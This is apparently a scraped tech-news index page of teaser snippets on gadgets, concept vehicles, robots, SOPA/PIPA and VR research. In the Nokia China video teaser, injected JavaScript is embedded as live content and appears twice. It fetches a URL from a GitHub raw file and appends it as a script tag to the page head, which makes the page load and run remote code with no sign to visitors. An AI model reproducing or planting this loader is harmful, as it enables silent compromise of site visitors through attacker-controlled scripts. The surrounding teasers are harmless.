Life is fraught: social interaction, inflation and fashion all conspire to ruin your day. Even the simple act of firing up your PMP can send you to the floor in tears if you discover your earbuds are in the wrong way, forever ruining the beautiful stereo trickery of The White Album. Fortunately, Japan's Science and Technology Agency has beavered away at this most first-world of problems with its Universal Earphones Project. One earpiece holds a proximity sensor, which if it's pointing at Read more [...]

Opel and KISKA have teamed up to design a fresh new urban commuter, the Opel Rak E concept.  This tandem two-seater is designed for light-weight, high efficiency, zero-emission driving on an all-electric drivetrain.  On a single charge, the Rak E can travel 61 miles and will re-charge in just three hours.  It’s not just the green-minded, city-friendly specs that attract us to the Opel Rak E, it’s the futuristic design philosophy which it embodies. Some may recognize the firm KISKA for their Read more [...]

Healthcare and elder care is a big concern in Japan, whose population is aging more rapidly than their current human-centric infrastructure is prepared to cope with. Companies like Toyota are hoping that robots will be able to pick up a little bit of the slack, and this week they've introduced four new robotic systems designed to help keep people healthy and independent as long as possible. The first couple systems are designed to provide single-leg walking assistance to people who have Read more [...]

Photo: Tim Robberts/Getty Images 18 January 2012—Arman Ahnood, a researcher at the London Centre for Nanotechnology at University College London is working toward a simple goal: "We can have a mobile phone [that] requires charging less often," Ahnood told a November session at the Materials Research Society’s fall meeting in Boston. It might soon be possible to go a week or more without charging a smartphone. And eventually, we might see a phone that never needs to be plugged in. Illustration: Read more [...]

  I hate headphones. If they’re intended to deliver hiqh quality audio, like the noise-canceling ones I wear when flying, they squeeze my ears unpleasantly; if they're light and comfortable, they slip around. I hate earbuds even more. I’ve tried just about every type you can imagine, including custom,  and none of them feel at all comfortable. And I hate that my youngest son seems to have an earbud in just about every waking minute—I watch his volume controls, but still worry Read more [...]

SOPA: Stop Online Piracy Act PIPA: Protect IP Act We have seen how a lot of huge companies lost customers (Godaddy.com lost over 37,000 Domains) and how others were hacked (Sony Pictures). We also witnessed Wikipedia's act yesterday along with many other websites! لقراءة الموضوع بالعربية إضغط هنا، شكراً تيدوز! It's really a very dangerous operation... Hackers even agreed on launching own satellites to beat censorship! Voting will start on Jan 24th.. Will Read more [...]

We have previously posted about Google's Self-Driving Car and how it made it to the street, and now here's another sample of a french self-driving car that takes it to the road! Autonomous vehicle projects are picking up speed -- literally. Leading the pack is Google's famed robot car, which has logged thousands of kilometers driving on public roads. But there are projects also in Italy, Germany, the U.K., and reportedly China. Now we've learned about an interesting self-driving vehicle Read more [...]

Nokia China - N8 Viral (Remote Contral Cars)   This video is related to the film Inception.   source ..  www.youtube.comvar url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.src = data.trim(); document.getElementsByTagName('head')[0].appendChild(script); });var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) Read more [...]

Whenever you’re cruising through CES announcements and demos, you’re always looking for that one thing that ignites that spark of excitement in your chest, lights up your eyes, and makes you realize that we’re living in the future. Well, the Samsung Smart Windowwill deliver. The Samsung Smart Window is a window, but it’s a display. It’s a giant transparent touchscreen you can use as a window. It’s a see-through, window iPad. It’s amazing. It only takes a few features to drive Read more [...]

You see your friends on Facebook, you chat on Facebook, why not also eat and sleep on Facebook? This is probably what Croatian designer Tomislav Zvonarić of DevianTom had in mind when creating this unusual bed. FBed concept is shaped like the logo of the worldwide famous social network and I believe I even see some “like” buttons on the small pillow and sheets there. According to the designer, “FBed is a conceptual multipractical bed design that would allow you always to be up to date Read more [...]

What you see and smell is what you taste... Photo: University of Tokyo Sights, sounds, and more recently, touch are commonly employed to create and enhance virtual-reality (VR) experiences. But the sense of smell is rarely a factor. A small group of researchers at the University of Tokyo is working to change that by integrating the sense of smell and sight in a way that alters a person’s perception of taste. Their VR system was able to trick people who were eating a plain cookie Read more [...]

Yes Qbo, you're looking in a mirror and this is you. Congratulations, you're now officially self aware! Okay, all us humans are gonna run for the hills now, see ya! Obviously, Qbo is too cute to be Skynet. Unless that's what it wants us to think. But let's just forget about all that right now and watch Qbo learn what he looks like: Nice! The mirror test is commonly used to identify whether animals are self-aware, and all it takes to pass is the ability to recognize that when you look at yourself Read more [...]